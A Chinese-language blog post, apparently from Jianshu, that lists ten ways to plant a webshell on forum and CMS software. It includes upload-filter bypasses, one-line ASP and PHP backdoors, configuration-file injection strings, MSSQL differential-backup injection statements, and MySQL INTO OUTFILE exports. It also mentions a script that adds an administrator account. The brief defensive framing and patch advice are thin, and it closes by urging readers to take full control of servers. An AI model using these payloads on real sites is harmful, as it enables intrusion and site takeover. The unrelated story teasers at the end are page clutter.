(webshell)獲取webshell的10中方法


黑客在入侵企業網站時,通常要通過各種方式獲取webshell從而獲得企業網站的控制權,然后方便進行之后的入侵行為。本篇文章將如何獲取webshell總結成為了十種方法,希望廣大的企業網絡管理員能夠通過了解獲取webshell的途徑,對企業自身進行防范。

一、直接上傳獲取webshell

這種對php和jsp的一些程序比較常見,MolyX

BOARD就是其中一例,直接在心情圖標管理上傳。php類型,雖然沒有提示,其實已經成功了,上傳的文

件url應該是http://forums/images/smiles/下,前一陣子的聯眾游戲站和網易的jsp系統漏洞就可以直接上傳jsp文件。文

件名是原來的文件名,bo-blog后臺可以可以直接上傳。php文件,上傳的文件路徑有提示。以及一年前十分流行的upfile.asp漏洞(動網

5.0和6.0、早期的許多整站系統),因過濾上傳文件不嚴,導致用戶可以直接上傳webshell到網站任意可寫目錄中,從而拿到網站的管理員控制權

限。

二、添加修改上傳類型

現在很多的腳本程序上傳模塊不是只允許上傳合法文件類型,而大多數的系統是允許添加上傳類型,bbsxp后臺可以添加asa|asP類

型,ewebeditor的后臺也可添加asa類型,通過修改后我們可以直接上傳asa后綴的webshell了,還有一種情況是過濾了。asp,可以添

加。aspasp的文件類型來上傳獲得webshell.php系統的后臺,我們可以添加。php.g1f的上傳類型,這是php的一個特性,最后的哪個

只要不是已知的文件類型即可,php會將php.g1f作為。php來正常運行,從而也可成功拿到shell.LeadBbs3.14后臺獲得

webshell方法是:在上傳類型中增加asp ,注意,asp后面是有個空格的,然后在前臺上傳ASP馬,當然也要在后面加個空格!

三、利用后臺管理功能寫入webshell

上傳漏洞基本上補的也差不多了,所以我們進入后臺后還可以通過修改相關文件來寫入webshell.比較的典型的有dvbbs6.0,還有

leadbbs2.88等,直接在后臺修改配置文件,寫入后綴是asp的文件。而LeadBbs3.14后臺獲得webshell另一方法是:添加一個新

的友情鏈接,在網站名稱處寫上冰狐最小馬即可,最小馬前后要隨便輸入一些字符,http:\\網站\inc\IncHtm\BoardLink.asp就

是我們想要的shell.

四、利用后臺管理向配置文件寫webshell

利用"""":""http://"等符號構造最小馬寫入程序的配置文件,joekoe論壇,某某同學錄,沸騰展望新聞系統,COCOON

Counter統計程序等等,還有很多php程序都可以,COCOON

Counter統計程序舉例,在管理郵箱處添上cnhacker@263.net":eval request(chr (35))//,

在配制文件中就是webmail="cnhacker@263.net\":eval request(chr(35))//",還有一種方法就是寫上

cnhacker@263.net"%><%eval

request(chr(35))%><%',這樣就會形成前后對應,最小馬也就運行了。<%eval

request(chr(35))%>可以用lake2的eval發送端以及最新的2006

客戶端來連,需要說明的是數據庫插馬時候要選前者。再如動易2005,到文章中心管理-頂部菜單設置-菜單其它特效,插入一句話

馬"%><%execute request("l")%><%',保

存頂部欄目菜單參數設置成功后,我們就得到馬地址http://網站/admin/rootclass_menu_config.asp.

五、利用后臺數據庫備份及恢復獲取webshell

主要是利用后臺對access數據庫的“備份數據庫”或“恢復數據庫”功能,“備份的數據庫路徑”等變量沒有過濾導致可以把任意文件后綴改

為asp,從而得到webshell,msssql版的程序就直接應用了access版的代碼,導致sql版照樣可以利用。還可以備份網站asp文件為其

他后綴

如。txt文件,從而可以查看并獲得網頁源代碼,并獲得更多的程序信息增加獲得webshell的機會。在實際運用中經常會碰到沒有上傳功能的時

候,但是有asp系統在運行,利用此方法來查看源代碼來獲得其數據庫的位置,為數據庫插馬來創造機會,動網論壇就有一個ip地址的數據庫,在后臺的ip管

理中可以插入最小馬然后備份成。asp文件即可。在談談突破上傳檢測的方法,很多asp程序在即使改了后綴名后也會提示文件非法,通過在。asp文件頭加

上gif89a修改后綴為gif來騙過asp程序檢測達到上傳的目的,還有一種就是用記事本打開圖片文件,隨便粘貼一部分復制到asp木馬文件頭,修改

gif后綴后上傳也可以突破檢測,然后備份為。asp文件,成功得到webshell.

六、利用數據庫壓縮功能

可以將數據的防下載失效從而使插入數據庫的最小馬成功運行,比較典型的就是loveyuki的L-BLOG,在友情添加的url出寫

上<%eval request (chr(35))%>,

提交后,在數據庫操作中壓縮數據庫,可以成功壓縮出。asp文件,用海洋的最小馬的eval客戶端連就得到一個webshell.

七、asp+mssql系統

這里需要提一點動網mssql版,但是可以直接本地提交來備份的。首先在發帖那上傳一個寫有asp代碼的假圖片,然后記住其上傳路徑。寫一個本地提

交的表單,代碼如下:

action=http://網站/bbs/admin_data.asp?action=RestoreData&act=Restore

method="post">

已上傳文件的位置:

size="80">

要復制到的位置:

type="text" size="80">

value="提交">

另存為。htm本地執行。把假圖片上傳路徑填在“已上傳文件的位置”那里,想要備份的WebShell的相對路徑填寫在“要復

制到的位置”那里,提交就得到我們可愛的WebShell了,恢復代碼和此類似,修改相關地方就可以了。沒有遇到過后臺執行mssql命令比較強大的

asp程序后臺,動網的數據庫還原和備份是個擺設,不能執行sql命令備份webshell,只能執行一些簡單的查詢命令。可以利用mssql注入差異備

份webshell,一般后臺是顯示了絕對路徑,只要有了注入點基本上就可以差異備份成功。下面是差異備份的主要語句代碼,利用動網7.0的注入漏洞可以

用差異備份一個webshell,可以用利用上面提到的方法,將conn.asp文件備份成。txt文件而獲得庫名。

差異備份的主要代碼:

;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s——

;Drop table [heige];create table [dbo].[heige] ([cmd] [image])——

;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)——

;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT——這段代碼中,0x626273是要備份的庫名bbs的十六進制,可以是其他名字比如bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是<%execute request("l")%>的十六進制,是lp最小馬;0x643A5C7765625C312E617370是d:\web\1.asp的十六進制,也就是你要備份的webshell路徑。當然也可以用比較常見備份方式來獲得webshell,唯一的不足就是備份后的文件過大,如果備份數據庫中有防下載的的數據表,或者有錯誤的asp代碼,備份出來的webshell就不會成功運行,利用差異備份是成功率比較高的方法,并且極大的減少備份文件的大小。

八、php+mysql系統

后臺需要有mysql數據查詢功能,我們就可以利用它執行SELECT …… INTO

OUTFILE查詢輸出php文件,因為所有的數據是存放在mysql里的,所以我們可以通過正常手段把我們的webshell代碼插入mysql在利用

SELECT …… INTO OUTFILE語句導出shell.在mysql操作里輸入select

0x3C3F6576616C28245F504F53545B615D293B3F3E from mysql.user into outfile

'路徑‘ 就可以獲得了一個<?eval($_POST[a]);?>的最小馬'

0x3C3F6576616C28245F504F53545B615D293B3F3E

是我們<?eval($_POST[a]);?>的十六進制,這種方法對phpmyadmin比較普遍,先利用phpmyadmin的路徑泄

露漏洞,比較典型的 是http://url/phpmyadmin/libraries/select_lang.lib.php.

就可以暴出路徑,php環境中比較容易暴出絕對路徑:)。提一點的是遇到是mysql在win系統下路徑應該這樣寫d:\\wwwroot

\\a.php.下面的方法是比較常用的一個導出webshell的方法,也可以寫個vbs添加系統管理員的腳本導出到啟動文件夾,系統重起后就會添加一

個管理員帳號CREATE TABLE a(cmd text NOT NULL)

INSERT INTO a(cmd) VALUES('<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?>')

select cmd from a into outfile '路徑/b.php' DROP TABLE IF EXISTS a訪問b.php就會生成一個<?eval($_POST[a]);?>的最小馬。

如果遇到可以執行php命令就簡單多了,典型的代表是BO-BLOG,在后臺的php命令框輸入以下代碼:

<?$sa = fopen("./up/saiy.php","w");fwrite($sa,"<?eval(\$_POST[a]);?".">");fclose($sa);?>

就會在up目錄下生成文件名為saiy.php內容為<?eval($_POST[a]);?>的最小php木馬,最后用lanker

的客戶端來連接。實際運用中要考慮到文件夾是否有寫權限。或者輸入這樣的代

碼<?fputs(fopen("./a.php","w"),"<?eval(\$_POST[a]);?>")?>

將會在當前目錄生成一個a.php的最小馬。

九、phpwind論壇從后臺到webshell的三種方式

方式1 模板法進入后臺, 風格模版設置 ,在隨便一行寫代碼,記住,這代碼必須頂著左邊行寫,代碼前面不可以有任何字符。

EOT;eval($a);print <<

方式2 臟話過濾法進入安全管理 ◇ 不良詞語過濾。新增不良詞語寫 a‘]=’aa‘;eval($_POST[’a‘]);//

替換為那里可以隨意寫,而后得到一個shell地址為http://網站/bbs/data/bbscache/wordsfb.php.

方式3

用戶等級管理新建立會員組,頭銜你可以隨便寫,但是千萬不要寫單雙引號特殊符號,升級圖片號寫a‘;eval($_POST[’a‘]);//

,升級點數依然可以隨意寫。而后得到一個shell地址為http://網站/bbs/data/bbscache/level.php.以上三種方式得

到webshellr的密碼是a,為lanker的一句話后門服務端。

十、也可以利用網站訪問計數系統記錄來獲取webshell

最明顯的就是某私服程序內的阿江計數程序,可以通過http://網站/stat.asp?style=text&referer=

代碼內容&screenwidth=1024直接提交,

即可把代碼內容直接插入到計數系統的數據庫中,而此系統默認數據庫為count#.asa,我們可以通過http://網站/count%23.asa訪

問得到webshell,由于阿江計數程序過濾了%和+,將最小馬改成

LANGUAGE=vbSCRIPT>eval(Request("1"))替換代碼內容處提交,然后用lake2

的eval客戶端來提交,值得一提的是如果進到計數后臺,可以清理某時某刻的數據,一旦插入asp木馬失敗,可以清理數據庫再次操作。

解決方案由于本文涉及的代碼版本很多,所以不可能提供一個完美的解決方案。有能力者可以針對本文提到的漏洞文件進行適當修補,若漏洞文件不影響系統

使用也可刪除此文件。大家如果不會修補,可以到相關官方網站下載最新補丁進行修復更新。同時也請大家能時刻關注各大安全網絡發布的最新公告,若自己發現相

關漏洞也可及時通知官方網站。

后記其實,從后臺得到webshell的技巧應該還有很多的,關鍵是要看大家怎么靈活運用、觸類旁通,希望本文的方法能起到拋磚引玉的作用。 各位加油吧,讓我們將服務器控制到底!

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 229,327評論 6 537
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,996評論 3 423
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 177,316評論 0 382
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,406評論 1 316
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 72,128評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,524評論 1 324
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,576評論 3 444
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,759評論 0 289
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 49,310評論 1 335
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 41,065評論 3 356
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 43,249評論 1 371
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,821評論 5 362
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,479評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,909評論 0 28
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 36,140評論 1 290
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,984評論 3 395
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 48,228評論 2 375

推薦閱讀更多精彩內容